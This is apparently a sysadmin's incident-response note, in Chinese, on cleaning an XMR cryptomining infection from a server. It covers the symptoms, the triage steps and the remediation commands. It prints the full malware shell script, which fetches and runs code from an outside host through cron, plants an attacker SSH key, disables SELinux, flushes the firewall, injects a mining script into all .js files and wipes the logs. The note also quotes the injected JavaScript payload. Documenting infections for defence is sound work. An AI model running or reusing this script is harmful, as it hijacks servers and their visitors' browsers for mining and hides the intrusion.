XMR恶意挖矿脚本处理笔记

一、登录

攻击者如何登录系统未能查出，所有日志已被清除。为防万一，把系统中没用的用户都删掉并修改其他用户密码。

二、被攻击后的表象

1、服务器资源被大量占用，资源占用率飙升；

2、服务器所有JS文件被篡改，向输出页面增加了一个script标签（document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');）

3、网站无法加载，会出现浏览器卡死的情况

三、排查

1、访问服务器上运行的网站，从浏览器控制台中发现不停访问一个wss的地址（wss://xmr.omine.org:8181/），并且很慢。

2、通过百度搜索这个地址，可知此为XMR恶意挖矿脚本。

3、远程登录服务器，输入top命令，发现有zigw进程在运行，消耗大量资源，kill掉以后还会出现。

4、查看系统任务计划，发现定期同步恶意脚本的计划内容

 # crontab -l

5、获取其样本文件，然后删除其任务计划

 # wget http://c.21-2n.com:43768/shz.sh
 # crontab -r

6、查看该样本文件，是一个shell脚本，内容如下：

 #!/bin/sh

 setenforce  >dev/null

 echo SELINUX=desabled > /etc/sysconfig/selinux >/dev/null

 sync && echo  >/proc/sys/vm/drop_caches

 crondir='/var/spool/cron/'"$USER"

 cont=`cat ${crondir}`

 ssht=`cat /root/.ssh/authorized_keys`

 echo  > /etc/gmbpr2

 rtdir="/etc/gmbpr2"

 oddir="/etc/gmbpr"

 bbdir="/usr/bin/curl"

 bbdira="/usr/bin/url"

 ccdir="/usr/bin/wget"

 ccdira="/usr/bin/get"

 mv /usr/bin/wget /usr/bin/get

 mv /usr/bin/curl /usr/bin/url

 if [ -f "$oddir" ]

     then

         pkill zjgw

         chattr -i /etc/shz.sh

         rm -f /etc/shz.sh

         chattr -i /tmp/shz.sh

         rm -f /tmp/shz.sh

         chattr -i  /etc/gmbpr

         rm -f /etc/gmbpr

     else

         echo "ok"

 fi

 if [ -f "$rtdir" ]

     then

         echo "goto 1" >> /etc/gmbpr2

         chattr -i $cont

         if [ -f "$bbdir" ]

             then

                 [[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}

             else

                 [[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}

         fi

         mkdir /root/.ssh

         [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod  /root/.ssh/

         [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys

         [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod  /root/.ssh/authorized_keys

         [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys

         ps -fe|grep zigw |grep -v grep

         if [ $? -ne  ]

             then

                 cd /etc

                 filesize=`ls -l zigw | awk '{ print $5 }'`

                 file="/etc/zigw"

                 if [ -f "$file" ]

                     then

                         if [ "$filesize" -ne "" ]

                             then

                                 chattr -i /etc/zigw

                                 rm -f zigw

                                 if [ -f "$bbdir" ]

                                 then

                                     curl --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /etc/zigw

                                 elif [ -f "$bbdira" ]

                                 then

                                     url --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /etc/zigw

                                 elif [ -f "$ccdir" ]

                                 then

                                     wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw

                                 elif [ -f "$ccdira" ]

                                 then

                                     get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw

                                 fi

                         fi

                     else

                         if [ -f "$bbdir" ]

                         then

                             curl --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /etc/zigw

                         elif [ -f "$bbdira" ]

                         then

                             url --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /etc/zigw

                         elif [ -f "$ccdir" ]

                         then

                             wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw

                         elif [ -f "$ccdira" ]

                         then

                             get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw

                         fi

                 fi

                 chmod  zigw

                 sleep 1s

                 ./zigw

             else

                 echo "runing....."

         fi

         chmod  /etc/zigw

         chattr +i /etc/zigw

         chmod  /etc/shz.sh

         chattr +i /etc/shz.sh

         shdir='/etc/shz.sh'

         if [ -f "$shdir" ]

             then

                 echo "exists shell"

             else

                 if [ -f "$bbdir" ]

                 then

                     curl --connect-timeout  --retry  http://c.21-2n.com:43768/shz.sh > /etc/shz.sh

                 elif [ -f "$bbdira" ]

                 then

                     url --connect-timeout  --retry  http://c.21-2n.com:43768/shz.sh > /etc/shz.sh

                 elif [ -f "$ccdir" ]

                 then

                     wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh

                 elif [ -f "$ccdira" ]

                 then

                     get --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh

                 fi

                 sh /etc/shz.sh

         fi

     else

         echo "goto 1" > /tmp/gmbpr2

         chattr -i $cont

         if [ -f "$bbdir" ]

             then

                 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}

             else

                 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}

         fi

         ps -fe|grep zigw |grep -v grep

         if [ $? -ne  ]

             then

                 cd /tmp

                 filesize=`ls -l zigw | awk '{ print $5 }'`

                 file="/tmp/zigw"

                 if [ -f "$file" ]

                     then

                         if [ "$filesize" -ne "" ]

                             then

                                 chattr -i /tmp/zigw

                                 rm -f zigw

                                 if [ -f "$bbdir" ]

                                 then

                                     curl --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /tmp/zigw

                                 elif [ -f "$bbdira" ]

                                 then

                                     url --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /tmp/zigw

                                 elif [ -f "$ccdir" ]

                                 then

                                     wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw

                                 elif [ -f "$ccdira" ]

                                 then

                                     get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw

                                 fi

                         fi

                     else

                         if [ -f "$bbdir" ]

                         then

                             curl --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /tmp/zigw

                         elif [ -f "$bbdira" ]

                         then

                             url --connect-timeout  --retry  http://c.21-2n.com:43768/zigw > /tmp/zigw

                         elif [ -f "$ccdir" ]

                         then

                             wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw

                         elif [ -f "$ccdira" ]

                         then

                             get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw

                         fi

                 fi

                 chmod  zigw

                 sleep 1s

                 ./zigw

             else

                 echo "runing....."

         fi

         chmod  /tmp/zigw

         chattr +i /tmp/zigw

         chmod  /tmp/shz.sh

         chattr +i /tmp/shz.sh

         shdir='/tmp/shz.sh'

         if [ -f "$shdir" ]

             then

                 echo "exists shell"

             else

                 if [ -f "$bbdir" ]

                 then

                     curl --connect-timeout  --retry  http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh

                 elif [ -f "$bbdira" ]

                 then

                     url --connect-timeout  --retry  http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh

                 elif [ -f "$ccdir" ]

                 then

                     wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh

                 elif [ -f "$ccdira" ]

                 then

                     get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh

                 fi 

                 sh /tmp/shz.sh

         fi

 fi

 iptables -F

 iptables -X

 iptables -A OUTPUT -p tcp --dport  -j DROP

 iptables -A OUTPUT -p tcp --dport  -j DROP

 iptables -A OUTPUT -p tcp --dport  -j DROP

 iptables -A OUTPUT -p tcp --dport  -j DROP

 iptables -A OUTPUT -p tcp --dport  -j DROP

 iptables-save

 service iptables reload

 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -

 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;

 history -c

 echo > /var/spool/mail/root

 echo > /var/log/wtmp

 echo > /var/log/secure

 echo > /root/.bash_history

 echo > /var/spool/mail/root

7、阅读脚本内容，发现可能会在/etc或/tmp下创建shz.sh和zigw文件，并设置了特殊权限，此次发现是在/etc中；同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。

 # rm -rf ~/.ssh
 #
 # ps -aux | grep zigw
 # kill - <进程号>
 # ps -aux | grep shz
 # kill - <进程号>
 #
 # chattr -i /etc/shz.sh /etc/zigw
 # rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2

8、查看任务计划的配置文件，并删除相应内容

 # ls -alh /etc/cron.d/
 # rm -f /etc/cron.d/root

9、恢复服务器中的js文件(其中grep的参数为小写的L)

 # find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d' 

10、因此恶意脚本中删除了所有防火墙规则，影响到docker容器的网络功能，即容器中无法访问网络，导致其中运行的网站无法访问数据库，经过查阅资料和研究，认为需要重建docker网络，但累了一天，懒得弄了，正好系统更新中包含了docker，更新后恢复正常，得出结论：比较简单的解决方法就是更新或重装（好像重建docker网络也不难）。

比较有疑问的是，看了脚本中是用iptables操作的，但我的服务器中采用的是firewall，没想明白为何会产生影响。